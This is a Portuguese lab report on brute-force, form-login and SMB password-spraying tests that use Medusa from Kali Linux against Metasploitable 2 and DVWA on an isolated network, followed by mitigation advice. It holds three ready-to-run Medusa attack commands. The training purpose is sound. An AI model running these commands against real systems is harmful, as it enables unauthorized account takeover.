Relatório Técnico – Testes de Força Bruta com Medusa
1. Objetivo Implementar e documentar testes ofensivos em ambiente controlado utilizando Kali Linux, Medusa, Metasploitable 2 e DVWA para explorar cenários de força bruta, password spraying e automação de tentativas de login, além de registrar recomendações defensivas.

2. Configuração do Ambiente **Máquinas Virtuais:** Kali Linux (atacante) e Metasploitable 2/DVWA (alvo). **Rede:** Host-Only Adapter no VirtualBox para isolamento e comunicação direta.

3. Teste 1: Força Bruta em FTP Wordlist simples criada manualmente e ataque executado com: medusa -h 192.168.56.101 -u msfadmin -P wordlist.txt -M ftp

4. Teste 2: Ataque ao Formulário Web (DVWA) Ataque automatizado com Medusa utilizando o módulo HTTP Form. medusa -h 192.168.56.101 -u admin -P pass.txt -M http -m FORM:"/dvwa/login.php":"username=^USER^&password;=^PASS^&Login;=Login":"Login failed"

5. Teste 3: Password Spraying em SMB Enumeração de usuários seguida de password spraying: medusa -h 192.168.56.101 -U users.txt -p password -M smbnt

6. Validação de Acessos Serviços validados manualmente por FTP, interface DVWA e SMB.

7. Medidas de Mitigação - Políticas de senhas fortes
- MFA
- Monitoramento ativo e análise de logs
- Captcha e rate limiting
- Desativação de serviços inseguros

8. Conclusão O projeto permitiu vivenciar processos ofensivos e reforçar aprendizados defensivos, aprofundando o entendimento prático de controles de autenticação, enumeração e mitigação no contexto de segurança da informação.